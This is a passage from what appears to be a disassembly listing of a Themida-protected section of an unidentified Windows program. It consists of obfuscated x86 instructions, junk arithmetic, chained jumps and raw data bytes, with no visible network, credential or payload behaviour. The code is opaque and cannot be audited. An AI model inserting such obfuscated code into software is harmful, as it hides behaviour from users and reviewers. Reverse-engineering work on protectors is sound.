		dd 0B9513B1Ch, 49E442CAh, 0B850D1F7h, 0BD64E23h, 8158C129h
		dd 3B65F9E1h, 0D6C18161h, 0E92E1F24h, 1226h, 3442685Fh
		dd 0CCE90000h, 100000Bh, 621968F9h, 1C890000h, 2629BB24h
		dd 0E3C16635h, 7E3C105h, 0FFCF03E9h, 31E931FFh,	0F7E931CDh
		dd 31E931D5h, 81E931CDh, 1180BFE9h, 14312DA4h, 0C8017F59h
		dd 59143105h, 171DE97Fh, 515F0000h, 4B9h, 59CA2900h, 5C241487h
		dd 0B2241489h, 80D2F641h, 0E951FFEAh, 0A68Ah, 5E76312Dh
		dd 5C8014Fh, 4F5E7631h,	2434FF59h
		db 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	3506h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_55FB98
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 48EC21B5h, 4EC8158h,	0E9000000h, 5471h, 0BB0F60BAh
		dd 0AAE28142h, 816EAD36h, 3C5481C2h, 2BE95747h,	830000A2h
		dd 0EAE904ECh, 56000031h, 3250EDBEh, 73B8506Eh,	0F7421F4Ch
		dd 0ABBB2DD8h, 0B8E99958h, 0BD0000FAh, 0B733D92h, 815DE931h
		dd 0B3594DC9h, 81D9F773h, 0E678FAE9h, 0F8C18166h, 81602645h
		dd 25D73DE9h, 0CC681A1h, 29580D1Bh, 0CEE81CEh, 59580D1Bh
		dd 0E95EF001h, 8B41h, 50E1285Bh, 0B0D4B652h, 5AF000F4h
		dd 6658C100h, 95E98058h, 34FFC800h, 0C4835924h,	0DBE0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554CFE:				; CODE XREF: Themida_:005604CCj
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		jmp	loc_563056
; ---------------------------------------------------------------------------


loc_554D07:				; CODE XREF: Themida_:005546ABj
		add	esi, 5C664449h
		jmp	loc_55DFCB
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 226D4FBEh, 4F5AD701h, 0BC79EF81h, 0FB894AA7h, 0FFF5BFE9h
		dd 60C181FFh, 0E936C840h, 9B5Fh, 240C8B66h, 4DA3E953h
		dd 0E9680000h, 58289D41h, 35D0F748h, 0C5E31D31h, 6858C689h
		dd 7AFDh, 0FFD7F8E9h, 7DE95DFFh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D5F:				; CODE XREF: Themida_:005551BCj
		jz	loc_55CA17
		push	dword ptr [edi+28h]
		jmp	loc_5640F7
; ---------------------------------------------------------------------------


loc_554D6D:				; CODE XREF: Themida_:0055E5F0j
		and	edi, 3FAB429Ch
		shl	edi, 8
		sub	edi, 0CA49B1A4h
		xor	ecx, edi
		pop	edi
		jmp	loc_557DFC
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 55582434h, 4EC81h, 8F540000h, 4812404h
		dd 424h, 0AFE95D00h, 66FFFFEEh,	0E99CC885h, 0FFFFBA42h
		dd 24048F5Fh, 0F1F7665Ch, 3FC568h, 24048900h, 0BE565854h
		dd 475A5AF8h, 2E9DEF7h,	58000032h, 19E9CB01h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554DD3:				; CODE XREF: Themida_:00557AB3j
		add	ah, 96h
		xor	dh, ah
		pop	ax
		push	cx
		mov	ch, 0D9h
		xor	dh, ch
		mov	cx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F8DE
; ---------------------------------------------------------------------------
		dd 0E188DC88h, 0E924048Bh, 286Bh, 0CEE95157h, 40h, 115AE9CBh
		dd 87590000h, 1BE92434h, 810000C3h, 4ECh, 24148900h, 0FFCD6BE9h
		dd 0E6815BFFh, 7BF44CA2h, 0E946EED1h, 5260h
; ---------------------------------------------------------------------------


loc_554E34:				; CODE XREF: Themida_:00554316j
		xor	ebx, 0A9D98C04h
		add	edi, 0A08443Dh
		jmp	loc_5621E7
; ---------------------------------------------------------------------------
		db 0BBh, 0FBh, 67h
		dd 0DD89714Dh, 35C5815Bh, 81664556h, 0F5C477F5h, 5DEF29DAh
		dd 8AE9EF29h, 89000019h, 1EB22414h, 8060B252h, 0C2FE01EAh
		dd 0E9F8B050h, 107D7h
; ---------------------------------------------------------------------------


loc_554E78:				; CODE XREF: Themida_:00555023j
		push	11D9h
		mov	[esp], edx
		mov	dh, 0CAh
		not	dh
		jmp	loc_564E41
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 0F6h
		dd 88F580DDh, 8061ED80h, 0E5288EC5h, 0E98EED80h, 84D0h
		dd 0B855F6BEh, 49EE8171h, 8116070Ch, 0AA0708C6h, 4FC68114h
		dd 0E98FA4AFh, 84BFh
; ---------------------------------------------------------------------------


loc_554EBC:				; CODE XREF: Themida_:005601E8j
		push	edi
		mov	edi, 685A1631h
		sub	edi, 52F23454h
		inc	edi
		add	edi, 14DC29BCh
		push	ecx
		mov	ecx, 5693532Dh
		sub	edi, ecx
		pop	ecx
		xor	edi, 0D3B0B869h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	eax
		push	edi
		push	ecx
		mov	ecx, 5B7E2EA7h
		mov	edi, ecx
		pop	ecx
		mov	eax, edi
		jmp	loc_557116
; ---------------------------------------------------------------------------
aI4		db '4$',0
		dd 812BDA0Fh, 6B68C9E6h, 0C4C68143h, 89418547h,	0BC20E9F5h
		dd 81470000h, 6724E1C7h, 5FFA8980h, 0D089C229h,	40E8D15Ah
		dd 0BD1CCD35h, 0F330D75h, 0BB53340Ah, 0C9D0A085h, 983EE9h
		dd 5FFD0100h, 505DE801h, 42474FFh, 6CE5E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F4E:				; CODE XREF: Themida_:00561B53j
		mov	edi, 67085AA2h
		jmp	loc_55AC10
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFB8F2h
; ---------------------------------------------------------------------------


loc_554F60:				; CODE XREF: Themida_:0056108Fj
		pop	esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_551B75
; ---------------------------------------------------------------------------
		dw 92BEh
		dd 0E93B134Bh, 33ECh, 0E906E2C1h, 7CDAh, 54CEC581h, 0F58175D1h
		dd 0D5DB97B1h, 99E9EE01h, 8100002Fh, 4C6h, 1FD0E900h, 0E2C10000h
		dd 0FFD2E904h, 3C87FFFFh, 34335C24h, 24343124h,	8B243433h
		dd 0C892424h, 81E18924h, 4C1h, 2C18300h, 2474FF51h, 240C8B04h
		dd 8F04C483h, 248B2404h, 22BD6824h, 4890000h, 5E08924h
		dd 4, 42Dh, 24048700h, 0D8E6E9h, 8BDE0100h, 0C483241Ch
		dd 8D40E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555002:				; CODE XREF: Themida_:00554743j
		mov	[esp], ebp
		jmp	loc_5551FB
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 8B04245Ch, 0C481241Ch, 4, 0E92434FFh, 6E9h
; ---------------------------------------------------------------------------


loc_555020:				; CODE XREF: Themida_:0055E723j
		sub	bh, dh
		pop	edx
		jmp	loc_554E78
; ---------------------------------------------------------------------------
		dd 0FAB3E950h, 0E952FFFFh, 0BF29h, 4BEh, 0F171E900h, 34FFFFFFh
		dd 332EE924h, 575B0000h, 0FFED46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55504D:				; CODE XREF: Themida_:00558D33j
		add	edi, 74E04E49h
		jmp	loc_564C60
; ---------------------------------------------------------------------------
		dd 0ED25F781h, 0FE01FF0Bh, 2ACFE9h
		db 0
; ---------------------------------------------------------------------------


loc_555065:				; CODE XREF: Themida_:0055AEC5j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55CB1D
; ---------------------------------------------------------------------------


loc_555072:				; CODE XREF: Themida_:00562789j
		mov	ebx, 0CF8060Ah
		not	ebx
		add	ebx, 6C0D4B13h
		jmp	loc_552B0D
; ---------------------------------------------------------------------------
		dd 78F6F781h, 0E9E95902h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55508F:				; CODE XREF: Themida_:00565665j
		add	esp, 4
		jmp	loc_563A1F
; ---------------------------------------------------------------------------


loc_555097:				; CODE XREF: Themida_:005600FFj
		push	edx
		mov	dl, 0F8h
		dec	dl
		jmp	loc_559878
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 6824248Bh, 149Eh, 54242C89h,	4EC835Dh, 0B9240C89h, 4
		dd 530CED81h, 0CD017BC5h, 530CC581h, 0E9597BC5h, 4467h
		dd 8104C483h, 4C4h, 47C78100h, 0E9439171h, 8C8Ah, 0F687E780h
		dd 52C780DFh, 0FFF3A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5550F1:				; CODE XREF: Themida_:005635E7j
		mov	ebx, 30F4173h
		shl	ebx, 2
		shl	ebx, 2
		jmp	loc_557203
; ---------------------------------------------------------------------------


loc_555101:				; CODE XREF: Themida_:00553BFFj
		push	ebx
		mov	ebx, 6EAF1DA6h
		sub	ebx, 3B2ED66Dh
		xor	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 0
		sub	edx, ecx
		mov	ecx, edx
		pop	edx
		and	ecx, 3EB73A84h
		sub	ecx, 0BFA2EC9Fh
		mov	ebx, ecx
		pop	ecx
		add	ebx, 4EE70416h
		not	ebx
		sub	ebx, 28790EE1h
		inc	ebx
		sub	ebx, 0F5E96404h
		sub	ebp, ebx
		pop	ebx
		mov	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_563A49
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 4C68124h,	51000000h, 2B9h, 0FFEE8100h, 166A22Ch
		dd 6DDFE9CEh, 0C1810000h, 1D8D3A92h, 65E9C101h,	58000087h
		dd 52D5E9h, 48F5F00h, 0D936E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55518A:				; CODE XREF: Themida_:0055E5FEj
		not	ebp
		xchg	eax, ebp
		inc	eax
		neg	eax
		jmp	loc_564034
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7830000h, 382FE904h, 2C8B0000h, 4C48124h
		dd 55000000h, 268h, 0CF01E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5551BA:				; CODE XREF: Themida_:0055616Bj
		or	eax, eax
		jmp	loc_554D5F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 57000000h, 4BFh, 0E9FB0100h,	0F08Bh,	0E904EC83h, 41B4h
; ---------------------------------------------------------------------------


loc_5551DC:				; CODE XREF: Themida_:00553827j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554ADB
; ---------------------------------------------------------------------------
		db 1, 0C5h, 8Bh
		dd 89512404h, 4C181E1h,	83000000h, 36E904C1h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5551FB:				; CODE XREF: Themida_:00555005j
		push	ecx
		mov	ecx, 17B10628h
		mov	ebp, ecx
		pop	ecx
		and	ebp, 0E6468ABh
		or	ebp, 4ABD5496h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 5A523140h
		jmp	loc_553720
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 0F3E90000h, 0B9FFFFF8h, 0F405879h
		dd 0D76CC181h, 0CE0148A0h, 0C2D5E959h, 0E6C10000h, 34F68104h
		dd 1C5D1FCh, 0EB815EF3h, 4, 5C241C87h, 0E9240C89h, 8193h
		dd 0E902E7C1h, 0C045h, 0D517E981h, 0C889B20Bh, 0FEF8E959h
		dd 248BFFFFh, 4896624h,	0B56CE924h, 0E689FFFFh,	2E26E9h
		dd 73006800h, 815F321Ah, 2C523BF7h, 5F5D570Fh, 78C2ED81h
		dd 0D5F70F2Fh, 68F0F581h, 0ED812DD5h, 0CC08F8F3h, 4A5DEA09h
		dd 21368h, 24348900h, 33FEFEBEh, 8BF231BAh, 0C4832434h
		dd 0FB26E904h, 0DFF70000h, 0A891F781h, 0F92967E2h, 59CB295Fh
		dd 1C8BDF01h, 5E545624h, 336E9h, 4C48100h, 8F000000h, 248B2404h
		dd 0E9F9F724h, 78DFh, 8724248Bh, 0FE5C2414h, 0E99C240Ch
		dd 0FFFFB4E6h, 30CBB050h, 0EB8058C2h, 80D32897h, 0E95A97C3h
		dd 426Bh
; ---------------------------------------------------------------------------


loc_55531C:				; CODE XREF: Themida_:005636E1j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_552403
; ---------------------------------------------------------------------------
aLS		db '$$',0Dh,'=',0
		db 0
; ---------------------------------------------------------------------------


loc_55533F:				; CODE XREF: Themida_:0055AD0Dj
		xor	edx, ebx
		pop	ebx
		mov	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		jmp	loc_552BAE
; ---------------------------------------------------------------------------
		db 0BEh, 0A1h, 38h
		dd 0C6817E64h, 819BC763h, 7411E9h
		db 0
; ---------------------------------------------------------------------------


loc_55535D:				; CODE XREF: Themida_:0055F5ABj
		add	esp, 4
		jmp	loc_561165
; ---------------------------------------------------------------------------


loc_555365:				; CODE XREF: Themida_:00552FD6j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563A01
; ---------------------------------------------------------------------------
		dw 282Dh
		dd 1356B6Dh, 0C68158C6h, 4, 8B243487h, 0C4812424h, 4, 9C240401h
		dd 0FFB451E9h, 0E9F329FFh, 0B677h
; ---------------------------------------------------------------------------


loc_5553A4:				; CODE XREF: Themida_:0056100Aj
		pop	esp
		jmp	loc_562E8B
; ---------------------------------------------------------------------------


loc_5553AA:				; CODE XREF: Themida_:005538C8j
		mov	edx, edi
		pop	edi
		sub	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55820B
; ---------------------------------------------------------------------------
		dw 0EF29h
		dd 83242C8Bh, 0E9C304C4h, 0FFFFB426h
; ---------------------------------------------------------------------------


loc_5553C8:				; CODE XREF: Themida_:00555579j
		pop	esi
		jmp	loc_55333F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EAFC0504h, 0EE81F73Ch, 7D6E25B7h, 2416EE81h, 0C60138B1h
		dd 2416C681h, 0C68138B1h, 7D6E25B7h, 68E95058h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553F7:				; CODE XREF: Themida_:00553D84j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	59A1h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 12B641C2h
		jmp	loc_556738
; ---------------------------------------------------------------------------


loc_555418:				; CODE XREF: Themida_:00551625j
		push	esi
		push	3B86h
		mov	[esp], ebx
		push	edx
		mov	edx, 10F02C5Fh
		add	edx, 90F4A6Ch
		mov	ebx, edx
		pop	edx
		mov	esi, ebx
		pop	ebx
		add	eax, 0F9E798Eh
		add	eax, esi
		sub	eax, 0F9E798Eh
		mov	esi, [esp]
		jmp	loc_552DAD
; ---------------------------------------------------------------------------


loc_555447:				; CODE XREF: Themida_:0055A537j
		add	eax, edi
		push	ecx
		mov	ecx, 5A0774BDh
		xor	ecx, 47EB6002h
		jmp	loc_562C7E
; ---------------------------------------------------------------------------
		dw 0FA01h
a_szs		db '_ZS',0
		align 2
		dw 0C781h
		dd 4, 0E904EF83h, 0FFFFEFEEh, 7967BF57h, 49E95ACBh, 81000001h
		dd 0FB3CE3EEh, 7ABD5556h, 500B4B16h, 956879B8h,	0F0ABE976h
		dd 0EA000000h, 8B665966h, 0E953240Ch, 0A887h
; ---------------------------------------------------------------------------


loc_5554A0:				; CODE XREF: Themida_:0055AC4Dj
		dec	edi
		xor	edi, 20A00047h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_55D87F
; ---------------------------------------------------------------------------
		dd 2DD82959h, 6EAC7403h, 5E8295Bh, 1D9300E9h, 0E9242C8Bh
		dd 0DAF1h
; ---------------------------------------------------------------------------


loc_5554D8:				; CODE XREF: Themida_:0055F978j
		xor	ecx, [esp]
		pop	esp
		push	20B1h
		mov	[esp], ecx
		jmp	loc_560B7E
; ---------------------------------------------------------------------------
		db 9, 0E8h, 0FFh
		dd 835D2434h, 3B3504C4h, 550FC12Eh, 0B05F83BDh,	0E9E829E4h
		dd 0FFFFD721h
; ---------------------------------------------------------------------------


loc_555504:				; CODE XREF: Themida_:0055FF9Fj
		mov	edi, 0A9F2F146h
		add	esi, edi
		pop	edi
		mov	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 186D0AF8h
		push	edx
		mov	edx, 625308D7h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F4E9
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFC6AFE9h, 4C483FFh, 405h, 4BF5700h, 29000000h
		dd 4875FF8h, 24248B24h,	68242489h, 294Fh, 0A139E9h, 0C8B6600h
		dd 4EC8124h, 89000000h,	5B54241Ch, 4C381h, 0F7E90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55556F:				; CODE XREF: Themida_:00559F31j
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_5553C8
; ---------------------------------------------------------------------------


loc_55557E:				; CODE XREF: Themida_:00563D58j
		push	ebx
		mov	ebx, 22B845EBh
		add	edx, ebx
		pop	ebx
		add	edx, ebp
		sub	edx, 22B845EBh
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		push	5E3D7E66h
		push	dword ptr [esp]
		jmp	loc_55C4B8
; ---------------------------------------------------------------------------
		dd 48D3C781h, 0E7C10015h, 0EF814708h, 4FEC2E5Bh, 72AFC781h
		dd 0FB31BBF8h, 11A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5555E1:				; CODE XREF: Themida_:0055FE6Dj
		shl	ebx, 3
		sub	ebx, 91E8CC28h
		jmp	loc_55F5A6
; ---------------------------------------------------------------------------
		db 81h
		dd 0D7042444h, 563D2D0Dh, 0FFC71AE9h, 0C8B66FFh, 17E66824h
		dd 3C890000h, 93E95424h, 0DFFFFBDh, 96A4DECh, 7AE9D8F7h
		dd 81FFFFDDh, 4C6h, 4C68100h, 0E9000000h, 6D92h, 4C481h
		dd 0B7E90000h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555637:				; CODE XREF: Themida_:00559321j
		add	al, 45h
		push	cx
		jmp	loc_550AC6
; ---------------------------------------------------------------------------
aITlSm		db '\<$T<$M',0
		db 0
; ---------------------------------------------------------------------------


loc_55564D:				; CODE XREF: Themida_:00550BCAj
		dec	ebp
		xchg	ebp, [edx+38h]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7D103086h
		sub	[edx+38h], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55B4A8
; ---------------------------------------------------------------------------
aZsmz		db 'Zm',0
		dd 5D0D5800h, 0F7661955h, 4FBE56D0h, 12B7521h, 0C2295EF0h
		dd 0FFD5C6E9h, 3076B1FFh, 600458E1h, 602CC828h,	9ED3E9h
		dd 2BE5600h, 55000000h,	93346DBDh, 5DEB295Fh, 0D4E9F301h
		dd 81FFFFE9h, 3A5B2434h, 815E7E63h, 633A5BF6h, 73AE97Eh
		dd 0D6290000h, 2434875Ah, 8924248Bh, 0B5512404h, 0E9E888A2h
		dd 0FFFFE712h, 80E5B450h, 0E4C0C1F4h, 60CC8004h, 0F600CC80h
		dd 0B4F480DCh, 0FE58E728h, 19C780C7h, 305BFC30h, 0C82058E1h
		dd 67D8E9h, 2434FF00h, 9C08E9h,	0A206800h, 7CE90000h, 8BFFFFB4h
		dd 5BE9243Ch, 0B6FFFFCEh, 5E68006h, 0FFDD2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55572D:				; CODE XREF: Themida_:00563503j
		push	eax
		mov	eax, 4A5B10B4h
		jmp	loc_55D67D
; ---------------------------------------------------------------------------
		dd 8FC2815Ah, 0E9550342h, 475Eh, 53240C8Bh, 0BA52E389h
		dd 4, 0E95AD301h, 0F4Eh, 0B268h, 24048900h, 2196D6B8h
		dd 58C32982h, 815BDA29h, 65519EAh, 34BBE94Dh, 34FF0000h
		dd 0F8C8E924h, 0BE56FFFFh, 18EC37FAh, 68D6F74Eh, 6C5Ah
		dd 0BA241489h, 0
		dd 9FE9F229h, 89000015h, 34872434h, 87D6F724h, 815E2434h
		dd 5870D6C6h, 57FE8713h, 0C0A2E9h, 0B7E98100h, 8133EC03h
		dd 8220D9C1h, 0E1B7E90Eh, 0EF01FFFFh, 2F95E9h, 24248B00h
		dd 0FFE898E9h, 5A5452FFh, 4C281h, 0EC810000h, 4, 3B98E9h
		db 0
; ---------------------------------------------------------------------------


loc_5557E9:				; CODE XREF: Themida_:0055DC71j
		add	esi, 4
		push	ecx
		push	ebp
		push	4A761E1Fh
		pop	ebp
		jmp	loc_552999
; ---------------------------------------------------------------------------
		dd 874FFD87h, 0FFC581FDh, 0E9FFFFFFh, 20F0h, 17BBEB81h
		dd 6FE96C5Fh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555817:				; CODE XREF: Themida_:0056540Cj
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5635DA
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD2h, 770E9h
		db 0
; ---------------------------------------------------------------------------


loc_555831:				; CODE XREF: Themida_:00550FEBj
		xor	edx, eax
		pop	eax
		jmp	loc_56538D
; ---------------------------------------------------------------------------


loc_555839:				; CODE XREF: Themida_:0055421Fj
		mov	eax, esp
		jmp	loc_5622C1
; ---------------------------------------------------------------------------
		dd 0FF240489h, 8B042474h, 0C4832404h, 24048F04h, 92C9E9h
		dd 77E95700h, 0FF0000B8h, 0C5688734h, 0E9000005h, 0FFFFD45Fh
; ---------------------------------------------------------------------------


loc_555868:				; CODE XREF: Themida_:005534B0j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	eax
		jmp	loc_564B45
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 6
		dd 46E4BA52h, 0DAF73A67h, 0C26CE9h
		db 0
; ---------------------------------------------------------------------------


loc_555885:				; CODE XREF: Themida_:0055A50Fj
		sub	al, 0F3h
		sub	al, 72h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564904
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	0FEE95C24h, 68000069h, 7BACh, 0FFF5B6E9h
		dd 81E389FFh, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0F43h
		dd 4242EE81h, 89E94B99h, 5200003Eh, 0C65219BAh,	0E9D50102h
		dd 0B22Bh
; ---------------------------------------------------------------------------


loc_5558DC:				; CODE XREF: Themida_:005646F0j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_559243
; ---------------------------------------------------------------------------
		db 68h
		dd 2, 0E92434FFh, 930Ch
; ---------------------------------------------------------------------------


loc_5558F4:				; CODE XREF: Themida_:00551174j
		neg	ah
		push	bx
		mov	bh, 92h
		or	ah, bh
		pop	bx
		push	edx
		mov	dh, 3Dh
		and	ah, dh
		mov	edx, [esp]
		add	esp, 4
		and	ah, 81h
		sub	ah, 0B2h
		sub	cl, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_563D07
; ---------------------------------------------------------------------------


loc_55591D:				; CODE XREF: Themida_:00564BD5j
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 3D11098Dh
		shl	esi, 3
		add	esi, 7A6B2B7Bh
		sub	esi, 1
		sub	esi, 8ED71706h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_559484
; ---------------------------------------------------------------------------
		dw 0C8Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	984h
		mov	[esp], esi
		jmp	loc_550D04
; ---------------------------------------------------------------------------
		dw 368h
		dd 0E9000074h, 31D3h, 2634B850h, 0E8C10BEBh, 0F2319203h
		dd 0F231D631h, 0F6E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_555995:				; CODE XREF: Themida_:0055F174j
		mov	edx, ecx
		jmp	loc_55FD1B
; ---------------------------------------------------------------------------


loc_55599C:				; CODE XREF: Themida_:00559AB0j
		add	ebp, 4
		jmp	loc_558A91
; ---------------------------------------------------------------------------


loc_5559A7:				; CODE XREF: Themida_:00551EA7j
		pop	ebp
		jmp	loc_5654B4
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0C4h
		dd 0E9450311h, 0CE60h, 590C372Dh, 51F80125h, 590C37B9h
		dd 59C80125h, 1047E9h, 74BD5500h, 316C776Dh, 242C8BEFh
		dd 8304C483h, 0C8904ECh, 71D7B924h, 0CB294696h,	8F08E9h
		dd 4C18100h, 87000000h,	0E95C240Ch, 0E81Fh
; ---------------------------------------------------------------------------


loc_5559FC:				; CODE XREF: Themida_:0055EE18j
		xor	edi, 0D8F9F91Eh
		mov	ebp, edi
		jmp	loc_564BE4
; ---------------------------------------------------------------------------


loc_555A09:				; CODE XREF: Themida_:005518AAj
		add	ebp, ecx
		add	ebp, 75120E74h
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		dw 6655h
		dd 665EC6BDh, 7E98F581h, 5DEB2966h, 0FFD82966h,	815B2434h
		dd 4C4h, 0D8296600h, 0B8665055h, 0F1E92819h, 81FFFFBDh
		dd 0BF5C4EF1h, 59C8296Dh, 8124148Bh, 4C4h, 4EC8100h, 89000000h
		dd 80BB241Ch, 56264DDFh, 0E952E689h, 0FFFFE022h, 4C3815Ah
		dd 53000000h, 42474FFh,	83241C8Bh, 48F04C4h, 5BE95C24h
		dd 58FFFFADh, 828DE9h
		db 0
; ---------------------------------------------------------------------------


loc_555A99:				; CODE XREF: Themida_:0056016Cj
		pop	edx
		mov	eax, [esp]
		jmp	loc_564102
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 5BD668h, 241C8900h, 0C381E389h, 4,	54C2E9h
		dd 24148900h, 0A58AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555AC5:				; CODE XREF: Themida_:0055F880j
		xor	edx, 0A9209631h
		sub	ebp, edx
		pop	edx
		jmp	loc_55DD1E
; ---------------------------------------------------------------------------
		db 52h
		dd 0A37426BAh, 0E2C14275h, 0BDEA8108h, 0E91A0501h, 44A5h
		dd 0BB241C89h, 624D5F75h, 0F381DBF7h, 6A752BA5h, 0BC17E955h
		dd 0E089FFFFh, 405h, 4C08300h, 0A44E9h,	4BF00h,	0FD010000h
		dd 83243C8Bh, 0C58104C4h, 4, 31242C33h,	2C33242Ch, 71685C24h
		dd 0E9000006h, 1944h, 0C8BB53ADh, 81029E13h, 3A2DDFC6h
		dd 8065E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B46:				; CODE XREF: Themida_:005603BCj
		mov	edi, 43BD220Dh
		xor	edi, 540A2760h
		sub	eax, edi
		pop	edi
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_560DDA
; ---------------------------------------------------------------------------


loc_555B6F:				; CODE XREF: Themida_:00564FA0j
		mov	[esp], edi
		jmp	loc_552D77
; ---------------------------------------------------------------------------
		db 81h
		dd 4F96A0C3h, 0E9DE293Ah, 4115h, 56E28952h, 0DE3BF57h
		dd 9CE9613Ch, 530000AEh, 0E38024B3h, 5E3C0B6h, 43E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_555BA1:				; CODE XREF: Themida_:00564572j
		push	654C7C12h
		pop	ebp
		sub	ebp, 15BD2A0Dh
		dec	ebp
		add	ebp, 4DD611E4h
		jmp	loc_55CF80
; ---------------------------------------------------------------------------


loc_555BB9:				; CODE XREF: Themida_:005518F5j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jnz	loc_55CA17
		push	0CA3h
		mov	[esp], ecx
		push	ebp
		push	666Bh
		mov	[esp], ebx
		mov	ebx, 1
		mov	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_55730E
; ---------------------------------------------------------------------------


loc_555BF1:				; CODE XREF: Themida_:00560D9Fj
		mov	ebp, 327D512Ch
		sub	edi, ebp
		pop	ebp
		pop	ebp
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 54F1A47Eh
		add	eax, edi
		jmp	loc_558219
; ---------------------------------------------------------------------------
		dd 0B080E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C1A:				; CODE XREF: Themida_:0056088Aj
		push	esp
